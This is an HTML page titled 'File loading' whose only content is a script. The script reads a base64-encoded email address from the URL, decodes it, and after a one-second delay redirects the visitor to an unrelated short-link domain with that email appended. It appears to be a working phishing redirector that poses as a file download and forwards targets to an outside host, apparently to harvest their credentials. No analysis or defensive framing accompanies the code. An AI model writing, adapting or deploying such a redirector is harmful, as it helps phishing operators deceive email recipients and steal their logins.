<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>File loading</title>

    <script>

        // Function to get the value of a parameter from the URL

        function getParameterByName(name, url) {

            if (!url) url = window.location.href;

            name = name.replace(/[\[\]]/g, "\\$&");

            var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),

                results = regex.exec(url);

            if (!results) return null;

            if (!results[2]) return '';

            return decodeURIComponent(results[2].replace(/\+/g, " "));

        }


        // Get the base64-encoded email parameter from the URL

        var base64EmailParam = getParameterByName('email');


        // Decode the base64-encoded email

        function decodeEmail(base64Email) {

            return atob(base64Email);

        }


        // If a base64-encoded email parameter is provided, decode it and redirect

        if (base64EmailParam) {

            var email = decodeEmail(base64EmailParam);


            // Perform the redirect after a delay (1000 milliseconds in this example)

            setTimeout(function () {

                // Replace 'https://example.com' with your desired redirect URL

                window.location.href = 'https://uqcnm.shortilm.com/sfUHb/#X' + email;

            }, 1000);

        }

    </script>

</head>

<body>

</html>